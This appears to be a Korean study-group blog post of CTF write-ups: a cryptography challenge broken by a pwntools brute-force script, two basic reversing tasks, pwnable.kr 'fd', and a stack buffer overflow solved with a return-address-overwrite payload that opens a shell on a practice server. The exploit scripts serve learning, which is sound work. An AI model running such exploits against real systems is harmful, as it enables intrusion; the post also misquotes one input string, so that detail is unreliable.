[CAUTION] ์Šคํ„ฐ๋”” - 10

2 ๋ถ„ ์†Œ์š”

๐Ÿ’ก Caution ์Šคํ„ฐ๋”” 10ํšŒ์ฐจ

์•”ํ˜ธํ•™ - 1

CS448

def encrypt(s, k):
    res = ""
    if k <= len(s):
        _print("[!] key shold be larger then len(pt) for safty!!")
        return ""
    for i, c in enumerate(s):
        enc = (get_random_u8() + key * i) % 0xff
        enc = ord(c) ^ enc
        res += hex(enc)[2:].rjust(2, "0")
    return res

์œ„์˜ ์ฝ”๋“œ์™€ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์•”ํ˜ธํ™”๋ฅผ ์ˆ˜ํ–‰ํ•œ๋‹ค.

์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜๋Š” ๋ถ€๋ถ„์€ %0xff ์ด๋‹ค.

key stream : (get_random_u8() + key * i) % 0xff ๋ถ€๋ถ„์„ ์ž˜ ์ƒ๊ฐํ•ด ๋ณด๋ฉด ๊ทธ ๊ฒฐ๊ณผ๋กœ 0~254 ๊นŒ์ง€์˜ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

์ด๊ฒƒ์ด ์™œ ๋ฌธ์ œ์ธ์ง€ ์ƒ๊ฐํ•ด๋ณด์ž. ์ž„์˜์˜ ํ‰๋ฌธ โ€˜Xโ€™์— ๋Œ€ํ•ด์„œ ์•”ํ˜ธํ™”๋ฅผ ํ†ตํ•ด์„œ ๋‚˜์˜ฌ ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ๊ฒฐ๊ณผ๋Š” 8bit ๊ฒฐ๊ณผ์ด๋ฏ€๋กœ 00000000 ~ 11111111 ๋กœ ์ด 256๊ฐœ์ด๋‹ค.

๊ทผ๋ฐ ํ˜„์žฌ ํ‚ค ์ŠคํŠธ๋ฆผ์€ 0~254๊นŒ์ง€์˜ ๋ฒ”์œ„๋ฅผ ๊ฐ€์ง€๋ฏ€๋กœ 255๊ฐœ์˜ ํ‚ค ์ŠคํŠธ๋ฆผ์ด ์žˆ๋‹ค.

์ฆ‰, ์ž„์˜์˜ ๋ฌธ์ž โ€˜Xโ€™์— ๋Œ€ํ•ด์„œ ๊ณ„์† ์•”ํ˜ธํ™”๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ฉด โ€˜Xโ€™ xor โ€˜11111111โ€™ ์˜ ๊ฒฐ๊ณผ๊ฐ€ ๋ˆ„๋ฝ๋˜๊ฒŒ ๋œ๋‹ค.

๊ทธ๋Ÿฌ๋ฉด ์šฐ๋ฆฌ๋Š” ํ•˜๋‚˜์˜ ๊ธ€์ž์— ๋Œ€ํ•ด์„œ ๊ณ„์† ์•”ํ˜ธํ™”๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ฉด์„œ ์–ด๋– ํ•œ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์™”๋Š”์ง€๋ฅผ ์ „๋ถ€ ๊ธฐ๋กํ•œ ๋’ค์—, 0-255์ค‘์— ํ•œ ๋ฒˆ๋„ ์•ˆ๋‚˜์˜จ ๊ฒฐ๊ณผ๋ฅผ ์ฐพ์œผ๋ฉด ๋œ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ๊ทธ ์ˆซ์ž๊ฐ€ ๋ฐ”๋กœ โ€˜Xโ€™ xor โ€˜11111111โ€™์ด ๋˜๋Š” ๊ฒƒ์ด๋‹ค.

์ด๋ฅผ ์ฝ”๋“œ๋กœ ๊ตฌํ˜„ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. ๋ชจ๋“  flag ํ•˜๋‚˜ํ•˜๋‚˜์— ๋Œ€ํ•ด์„œ bruteforce๋ฅผ ํ•˜๋‹ค๋ณด๋‹ˆ, ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค๋Š”๋ฐ ์‹œ๊ฐ„์ด ๊ฝค ๊ฑธ๋ฆฐ๋‹ค.

from pwn import *


p = remote('host1.dreamhack.games',10819)

key = 255

p.sendlineafter('>> ','3')
p.sendlineafter('key >> ','255')
p.recvuntil('result : ')

enc_flag = p.recvline()
flag_len = len(enc_flag) // 2
flag_set = [list(range(256)) for _ in range(flag_len)]
flag = [0 for x in range(flag_len)]

while True:
    p.sendlineafter('>> ','3')
    p.sendlineafter('key >> ','255')
    p.recvuntil('result : ')
    
    enc_flag = bytes.fromhex(p.recvline()[:-1].decode())

    for i in range(flag_len):
        # flag_set์—์„œ ์ฐพ๋Š” ๊ธ€์ž ํ•˜๋‚˜์”ฉ ์‚ญ์ œ
        if flag_set[i].count(enc_flag[i]) == 1:
            flag_set[i].remove(enc_flag[i])
        
        # ํ•œ๊ฐœ ๋‚จ์€ ๊ฒฐ๊ณผ์— 255 xor ํ•˜๋ฉด ์›๋ž˜ ๊ธ€์ž
        if len(flag_set[i]) == 1:
            flag[i] = chr(flag_set[i][-1] ^ key )

    print([len(x) for x in flag_set])    
    if 0 not in flag:
        break
            
print(''.join(flag))

image

๋ฆฌ๋ฒ„์‹ฑ - 1

rev-basic-0

๋ฆฌ๋ฒ„์‹ฑ ๊ธฐ์ดˆ๋ฌธ์ œ

IDA๋กœ ์—ด๋ฉด ๋ฐ”๋กœ strcmp๊ฐ€ ๋ณด์ž„

image

๋ฆฌ๋ฒ„์‹ฑ - 2

rev-basic-2

image

๊ฐ๊ฐ์˜ input(a1)์— ๋Œ€ํ•ด์„œ, aC[] ๋ฐฐ์—ด๊ณผ ๋น„๊ต๋ฅผ ํ•˜๊ณ  ์žˆ๋‹ค. ์ด ๊ธธ์ด๋Š” 18๊ธ€์ž ์ด๋ฉฐ, aC๋ฐฐ์—ด์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

image

๋ฐ์ดํ„ฐ ํƒ€์ž…์„ array๋กœ ๋ฐ”๊พธ๋ฉด ๋” ๋ณด๊ธฐ ์‰ฝ๋‹ค.

image

๋งˆ์ง€๋ง‰ null๋ฌธ์ž๋ฅผ ์ œ์™ธํ•˜๋ฉด ์ด 17๊ธ€์ž๋กœ flag๋Š” โ€˜Comp4re_the_arr4yโ€™์ด๋‹ค.

์‹œ์Šคํ…œ - 1

pwnable.kr [fd]

๋ฌธ์ œ์˜ ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

argv[1] - 0x1234 ๊ฐ’์„ fd๋กœ ํ•˜์—ฌ ํ•ด๋‹น fd๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ์–ด์˜จ๋‹ค.

stdin ์ด fd 0 ์ด๋ฏ€๋กœ argv[1]๋กœ 0x1234์ธ 4660 ๋ฐ์ดํ„ฐ๋ฅผ ๋„˜๊ฒจ์ค€๋‹ค.

๋„˜๊ฒจ์ฃผ๋ฉด ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ๊ฐ’์„ ๊ธฐ๋‹ค๋ฆฌ๊ฒŒ ๋˜๊ณ , ์ด๋•Œ ๋น„๊ต ๋ฌธ์ž์—ด์ธ โ€˜LETMEINโ€™์„ ์ž…๋ ฅํ•ด ์ฃผ๋ฉด flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

image

์‹œ์Šคํ…œ - 2

Return Address Overwrite ๋ฉ”์ธํ•จ์ˆ˜๋ฅผ ์‹œ์ž‘ํ• ๋•Œ ์Šคํƒ ์ƒํƒœ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค

image

๊ทธ๋ฆผ์œผ๋กœ ํ‘œํ˜„ํ•ด๋ณด๋ฉด ์Šคํƒ ์ƒํƒœ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค

image

buf์— ์ž…๋ ฅ ๋ฐ›์„๋•Œ bof ์ทจ์•ฝ์ ์ด ์žˆ์œผ๋‹ˆ, 56byte๋Š” ๋”๋ฏธ๋กœ ์ฑ„์›Œ์ฃผ๊ณ  8 byte๋ฅผ get_shell() ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ์ต์Šคํ”Œ๋กœ์ž‡ ํ•œ๋‹ค.

get_shell()์˜ ์ฃผ์†Œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

image

์‰˜ ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž‘์„ฑํ•ด ์ค€๋‹ค.

from pwn import *

p = remote('host1.dreamhack.games',21598)
context.log_level= 0

# get_shell() : 0x00000000004006aa
p.recvuntil(b'Input: ')
payload = 'A' * 0x30
payload += 'B' * 8
payload += '\xaa\x06\x40\x00\x00\x00\x00\x00'

p.sendline(payload)
p.interactive()

์‹คํ–‰ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

image

ํƒœ๊ทธ: ,

์นดํ…Œ๊ณ ๋ฆฌ:

์—…๋ฐ์ดํŠธ:

๋Œ“๊ธ€๋‚จ๊ธฐ๊ธฐ